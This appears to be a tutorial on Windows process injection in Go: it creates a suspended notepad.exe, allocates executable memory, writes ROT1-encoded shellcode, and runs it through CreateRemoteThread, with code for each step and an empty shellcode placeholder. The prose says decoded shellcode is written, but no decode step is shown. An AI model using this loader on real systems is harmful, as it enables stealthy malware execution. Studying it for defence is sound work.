Inject shellcode in the memory of a new suspended process
Step-by-step breakdown
Defining the Encoded Shellcode
In this example, we are working with an encoded shellcode. For simplicity, we assume the shellcode is encoded using a basic ROT1 encoding where each byte is shifted by one (the same shellcode that was used here).
var encodedShellcode = []byte{} // Replace this with your ROT1 encoded shellcode
The encodedShellcode
array will be decoded in the code, so it's important to understand that you’ll need to provide the actual encoded shellcode that you want to inject.
Creating a New Process in Suspended Mode
The first critical step is to create the target process. For this, we use windows.CreateProcess
, specifying CREATE_SUSPENDED
as the flag to create the process in a suspended state.
err := windows.CreateProcess(
syscall.StringToUTF16Ptr(executablePath),
nil,
nil,
nil,
false,
windows.CREATE_SUSPENDED, // Process created in suspended mode
nil,
nil,
&si,
&pi,
)
executablePath
is the path to the executable, in this case,C:\\Windows\\System32\\notepad.exe
.windows.CREATE_SUSPENDED
ensures the process starts in a suspended state so we can inject our shellcode into its memory and execute it manually later.
If successful, windows.CreateProcess
returns a ProcessInformation
struct (pi
) that contains handles to the created process and its initial thread, which will be used later.
Allocating Memory in the Target Process
After the process is created, we need to allocate memory within the target process where the shellcode will reside. We do this by calling VirtualAllocEx
to allocate memory in the remote process.
addr, _, err := VirtualAllocEx.Call(
uintptr(pi.Process),
0, // NULL address, let the system choose
uintptr(len(encodedShellcode)), // Memory size required
windows.MEM_COMMIT|windows.MEM_RESERVE, // Commit and reserve memory
windows.PAGE_EXECUTE_READWRITE, // Memory protection (execute and read/write)
)
MEM_COMMIT
andMEM_RESERVE
: These flags commit and reserve memory space.PAGE_EXECUTE_READWRITE
: This allows the shellcode to be both executable and writable.The return value
addr
is the address of the allocated memory where the shellcode will be injected.
4 .Writing the Shellcode to Allocated Memory
Once we have allocated memory in the target process, the next step is to write the decoded shellcode into that memory. This is done using the WriteProcessMemory
function:
err = windows.WriteProcessMemory(
pi.Process,
addr, // Address to write to in the target process
&encodedShellcode[0], // Pointer to the shellcode
uintptr(len(encodedShellcode)), // Number of bytes to write
&numBytesWritten, // Pointer to store the number of bytes written
)
This function writes the shellcode to the allocated memory space in the target process. If the function returns an error, it will be caught, and the program will output the error message.
Creating a Remote Thread to Execute the Shellcode
After writing the shellcode into the target process, we need to create a remote thread that will execute the shellcode. This is achieved by calling CreateRemoteThread
, which starts a thread in the target process at the address where the shellcode is stored.
_, _, err = CreateRemoteThread.Call(
uintptr(pi.Process),
0,
0,
addr, // The address of the shellcode in the target process
0, // Parameters (not used in this case)
0, // Flags (not used)
0, // Thread ID (optional)
)
This effectively starts a new thread in the target process that executes the injected shellcode. The shellcode is now running inside the context of the target process.
Resuming the Main Thread of the Target Process
After injecting and executing the shellcode, we resume the main thread of the target process to allow it to continue normal execution. This is done using the ResumeThread
function:
_, err = windows.ResumeThread(threadHandle)
threadHandle
is the handle to the main thread of the target process, which was obtained earlier when the process was created in suspended mode.This call resumes the target process, which can now proceed with the execution of its own code (along with our injected shellcode running as part of it).
Result
As a result of all of theses operations, we succeed at our final goal, make notepad.exe
execute our shellcode, as demonstrated here:

We can see a notepad process running with two thread:
The main thread of the executable
The injected thread that contain our shellcode, executed directly by notepad
Conclusion
In this article we succeed to do the following:
decode our ROT1 encoded shellcode in memory
create a suspended notepad.exe process
allocate suffiscient memory to inject the decoded shellcode into the newly created process
Create a remote thrad attached to the suspended notepad process
resume the process to trigger the shellcode execution
The full code is available here.
Last updated